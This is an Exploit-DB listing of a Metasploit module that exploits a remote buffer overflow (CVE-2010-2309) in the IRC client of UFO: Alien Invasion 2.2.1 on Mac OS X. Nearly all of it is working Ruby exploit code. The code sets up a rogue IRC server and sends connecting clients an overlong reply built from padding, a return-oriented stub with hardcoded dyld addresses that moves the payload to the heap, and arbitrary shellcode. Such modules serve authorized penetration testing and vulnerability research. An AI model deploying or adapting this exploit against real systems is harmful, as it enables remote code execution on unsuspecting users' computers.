# UFO: Alien Invasion IRC Client (OSX) - Remote Buffer Overflow (Metasploit)

**EDB-ID:**
16864

**CVE:**
2010-2309

**EDB Verified:** ✓

**Author:**
METASPLOIT

**Type:**
REMOTE

**Exploit:** / {}

**Platform:**
OSX

**Date:**
2010-10-09

**Vulnerable App:**

```
##
# $Id: ufo_ai.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::TcpServer

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow
Exploit',
            'Description'    => %q{
                    This module exploits a buffer overflow in the IRC
client component
                of UFO: Alien Invasion 2.2.1.
            },
            'Author'   =>
                [
                    'Jason Geffner',  # Original Windows PoC Author
                    'dookie'          # OSX Exploit Author
                ],
            'License'  => MSF_LICENSE,
            'Version'  => '$Revision: 10617 $',
            'References' =>
                [
                    [ 'CVE', '2010-2309' ],
                    [ 'OSVDB', '65689' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
                ],
            'Payload' =>
                {
                    'Space' => 400,
                    'BadChars' => "\x00\x0a\x0d",
                    'MaxNops' => 0,
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'osx',
            'Targets' =>
                [
                    [ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
                        {
                            'Arch' => ARCH_X86,
                            'Offset' => 524,
                            'Writable' => 0x8fe66448,  # dyld __IMPORT
                            # The rest of these addresses are in dyld
__TEXT
                            'setjmp' => 0x8fe1cf38,
                            'strdup' => 0x8fe210dc,
                            'jmp_eax' => 0x8fe01041
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 28 2009'))

        register_options(
```

```
            [
                OptPort.new('SRVPORT', [ true, "The IRC daemon port to
listen on", 6667 ]),
            ], self.class)
    end


    def make_exec_payload_from_heap_stub()
        frag0 =
            "\x90" + # nop
            "\x58" + # pop eax
            "\x61" + # popa
            "\xc3"   # ret

        frag1 =
            "\x90" +             # nop
            "\x58" +             # pop eax
            "\x89\xe0" +         # mov eax, esp
            "\x83\xc0\x0c" +     # add eax, byte +0xc
            "\x89\x44\x24\x08" + # mov [esp+0x8], eax
            "\xc3"               # ret

        setjmp = target['setjmp']
        writable = target['Writable']
        strdup = target['strdup']
        jmp_eax = target['jmp_eax']

        exec_payload_from_heap_stub =
            frag0 +
            [setjmp].pack('V') +
            [writable + 32, writable].pack("V2") +
            frag1 +
            "X" * 20 +
            [setjmp].pack('V') +
            [writable + 24, writable, strdup, jmp_eax].pack("V4") +
            "X" * 4
    end


    def on_client_connect(client)

        print_status("Got client connection...")

        offset = target['Offset']

        buffer = "001 :"
        buffer << rand_text_alpha_upper(offset)
        buffer << make_exec_payload_from_heap_stub()
        buffer << make_nops(16)
        buffer << payload.encoded
        buffer << "\x0d\x0a"

        print_status("Sending exploit to #{client.peerhost}:#
{client.peerport}...")
        client.put(buffer)

    end

end
```

**Tags:** Metasploit Framework (MSF)

**Advisory/Source:** Link